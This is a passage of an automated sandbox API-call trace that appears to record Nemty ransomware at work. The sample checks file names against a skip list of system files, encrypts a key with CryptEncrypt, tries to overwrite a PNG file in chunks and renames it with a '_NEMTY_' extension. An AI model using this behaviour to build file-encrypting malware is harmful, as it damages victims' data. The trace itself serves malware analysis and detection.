(lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0092.366] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0092.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0092.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0092.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0092.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0092.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0092.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0092.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0092.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0092.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0092.367] Sleep (dwMilliseconds=0x5) [0092.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeab5d370, dwHighDateTime=0x1d561e7)) [0092.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeab5d370, dwHighDateTime=0x1d561e7)) [0092.386] GetLastError () returned 0x5 [0092.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.386] GetLastError () returned 0x5 [0092.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0092.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.387] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0092.387] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="L9khj6EDk0fU7cUQDGSImGvo0YdTRF81FwZgERo09QUpR9cGvcsqRq3+sje9MGoJ\r\n/WlQUkPfyTl5sTqPRqji7eLujKMwhTz2V/KqP8iHCEogNmIR44sqpLtp4UK3V8D+\r\nufFo1r08yyLb6VW7ruYtkM0dUlJbi/jeVESd09/N6hVzjIBW4Q4yJaqFkPOy25Fh\r\nB8qL/i7ClAJKtYKz54+keycUtDutO3E2tVWapmg393p1mt5Z/CPTpbb5jyS8k6f6\r\nvIFPN5aJgIe9aE8Cb5PN3R06xunIFvHHw36s7FADzzTApBE0moZYmcd4miM68+do\r\nndZvySumaqVTRd8BGocOzQ==\r\n", pcchString=0x653e91c) returned 1 [0092.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0092.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0092.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0092.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.388] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.388] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.498] CloseHandle (hObject=0xffffffff) returned 0 [0092.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0092.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0092.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0092.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0092.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0092.499] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.499] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0092.499] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0092.500] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0092.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.500] 